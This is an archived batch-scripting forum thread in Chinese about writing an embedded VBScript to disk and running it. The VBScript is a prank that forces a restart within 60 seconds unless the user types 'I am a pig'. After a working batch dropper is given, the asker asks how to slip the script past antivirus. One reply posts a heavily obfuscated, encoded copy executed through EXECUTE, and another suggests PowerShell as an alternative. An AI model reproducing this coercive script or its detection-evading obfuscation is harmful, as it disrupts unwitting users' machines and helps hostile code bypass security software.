标题: [其他] 批处理怎样把一段命令当成文本输出成新的文件而不运行?(已解决) [打印本页]
作者: pclq 时间: 2017-3-13 17:28 标题: 批处理怎样把一段命令当成文本输出成新的文件而不运行?(已解决)
本帖最后由 pclq 于 2017-3-20 17:49 编辑
大神们你们好,是这样的我想请教一下怎么样能把一段命令当成文本一样输出成一个新的文件而不运行- @echo off
- echo ("on error resume next
- dim WSHshellA
- set WSHshellA = wscript.createobject("wscript.shell")
- WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试..."" ",0 ,true
- dim a
- do while(a <> "我是猪")
- a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)
- msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
- loop
- msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
- dim WSHshell
- set WSHshell = wscript.createobject("wscript.shell")
- WSHshell.run "cmd.exe /c shutdown -a",0 ,true
- msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,一切皆有可能~" ")>1.vbs
- start 1.vbs
- pause
复制代码
作者: GNU 时间: 2017-3-13 22:19
把第16行删掉就不执行啦
作者: ai20110304 时间: 2017-3-14 16:20
有点意思的脚本
作者: pclq 时间: 2017-3-16 09:28
回复 2# GNU
我的意思想把echo ()里面的vbs脚本输出到桌面成新建的vbs脚本并运行,但我每次运行bat总会把我的vbs脚本当成命令执行根本无法把这段命令输出变成一个新建vbs脚本
作者: GNU 时间: 2017-3-16 09:43
回复 4# pclq - @echo off
- for /f "delims=:" %%i in ('findstr /n "^:DynamicScript$" "%~f0"') do (
- more +%%i "%~f0" > 1.vbs
- )
- start 1.vbs
- goto :eof
-
- :DynamicScript
- on error resume next
- dim WSHshellA
- set WSHshellA = wscript.createobject("wscript.shell")
- WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试..."" ",0 ,true
- dim a
- do while(a <> "我是猪")
- a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)
- msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
- loop
- msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
- dim WSHshell
- set WSHshell = wscript.createobject("wscript.shell")
- WSHshell.run "cmd.exe /c shutdown -a",0 ,true
- msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,一切皆有可能~"
复制代码
作者: pclq 时间: 2017-3-16 09:59
回复 5# GNU
谢谢大神,对了还有一个问题请教一下就是vbs脚本容易被杀毒软件干掉有没有什么办法不关闭杀毒软件和添加白名单,绕过或不被查杀掉
。。
作者: zz100001 时间: 2017-3-16 13:32
给你一瓶82年的雪碧品尝一下- O="111E110D32C101E114D114C111E114F32D114D101B115A117D109F101B32D110A101C120B116B13E10D100D105C109E32E87A83D72A115A104A101B108C108D65A13A10B115C101C116F32B87D83F72B115B104A101D108E108E65E32F61D32C119D115A99C114C105E112E116F46E99A114C101B97F116D101E111A98D106E101F99B116D40F34D119C115F99B114B105E112C116E46D115D104A101D108E108E34A41A13C10F87B83B72A115B104D101F108C108A65B46E114D117B110B32F34B99C109D100B46F101A120A101A32B47D99E32F115C104E117E116A100A111A119F110C32E45D114B32F45A116C32F54A48B32B45F99B32D34D34B-13387C-12590D-13625A-10515D-23636A-19781D-13387F-12590C-13625F-10515A-16691A-11589C-18474A-10541C-17960B-15133C-17414C-23636C-19781D-12091F-23636B-13612C-13612C46D46A46F34D34D32B34B44E48F32D44B116A114B117A101B13F10A100B105D109A32A97C13A10B100A111D32A119E104D105B108A101C40B97A32C60D62B32B34F-12590F-13625D-10515E34F41C13E10C97F32B61C32B105B110A112C117C116E98C111E120E32E40F34B-13387B-12590E-13625E-10515F44C-16691A-19781D-17960F-17414D-23636D-16404A-14090A-23636F-13387D32C34C34C-12590D-13625B-10515A34B34F-24159C34A44C34C-13387D-19781C-13387F34C4":FUNCTION Oo0(lO):O="6C3D434852283739293A464F52204A3D363520544F2037303A6C6C3D434852284A293A4F3D53504C4954286C4F2C6C6C2C2D312C31293A6C4F3D4E554C4C3A464F5220493D3020544F202855424F554E44284F292D31293A6C4F3D6C4F264F284929266C3A4E4558543A6C4F3D6C4F264F2855424F554E44284F29293A4E4558543A4F3D53504C4954286C4F2C6C2C2D312C31293A6C4F3D4E554C4C3A464F5220493D3020544F202855424F554E44284F29293A6C4F3D6C4F26434852284F284929293A4E4558543A45584543555445206C4F3A6C4F3D22272020434F4E54414354203A2071696E6368756E33362066726F6D205757572E434E2D444F532E4E45542020202722":OO="EXECUTE """"":l="&CHR(&H":ll=")":EXECUTE("DO WHILE LEN(O)>1:OO=OO&l&LEFT(O,2)&ll:O=MID(O,3)"&VBCRLF&"LOOP"):EXECUTE(OO):Oo0=lO:END FUNCTION:oO="4F34E-19781D-13387C34E44D56C48E48F48D44D55B48A48D48F41B13D10A109C115B103B98E111D120D32C99E104E114A40D49A51A41A32B43C32D99A104A114B40C49C51F41B32D43F32B99B104A114D40E49E51E41F32D43C32D97A44C48C44E34E77F115E103A66C111B120F34D13E10A108D111E111F112B13D10F109D115C103F98B111B120E32C99E104D114D40A49D51E41E32A43A32C99F104B114B40A49B51D41F32C43A32B99E104D114B40B49F51B41C32D43B32F34A-11033A-13387A-16691B-12080D-15925E-15633F34C13E10E100A105A109A32F87C83E72D115B104F101A108C108F13A10B115B101F116B32D87D83B72C115D104A101D108A108D32F61C32F119A115A99C114A105C112B116C46C99C114D101F97B116C101C111D98A106F101D99D116B40B34E119F115D99B114A105B112A116B46F115A104B101D108A108A34C41A13B10A87D83A72E115D104B101A108C108B46A114B117C110B32A34F99F109C100D46F101C120E101C32E47B99C32B115A104A117C116B100E111C119D110E32E45F97B34B44D48E32F44B116F114D117E101C13D10F109A115F103D98C111C120C32C99B104A114B40E49B51A41B32C43C32B99E104C114F40D49D51B41E32D43C32D99E104C114C40B49F51C41F32A43C32A34C-17922A-17922B-17922E-17922C-23636C-11589B-14384E-16940D-11312A-16439C-15140F126A34F13B10"
- EXECUTE Oo0(O&Oo)
复制代码
作者: pclq 时间: 2017-3-16 14:17
回复 7# zz100001
完全没看懂你想表达什么。。。。。。。。
作者: pclq 时间: 2017-3-16 14:51
回复 5# GNU
大神你的第六行 goto efo 有什么用,我没看到有这个变量在里面,我试着删除这句也没什么问题
作者: Batcher 时间: 2017-3-17 00:25
回复 6# pclq
尝试用其它脚本(比如PowerShell)代替VBS吧
作者: Batcher 时间: 2017-3-17 00:26
回复 8# pclq
一种脚本加密的方法
作者: Batcher 时间: 2017-3-17 00:27
回复 9# pclq
EOF的全称是 End Of File
goto :eof 表示直接跳转到脚本结尾,不执行该命令下面的其它命令。
作者: pclq 时间: 2017-3-20 16:23
回复 12# Batcher
好的谢谢大神.....
欢迎光临 批处理之家 (http://bbs.bathome.net/) |
Powered by Discuz! 7.2 |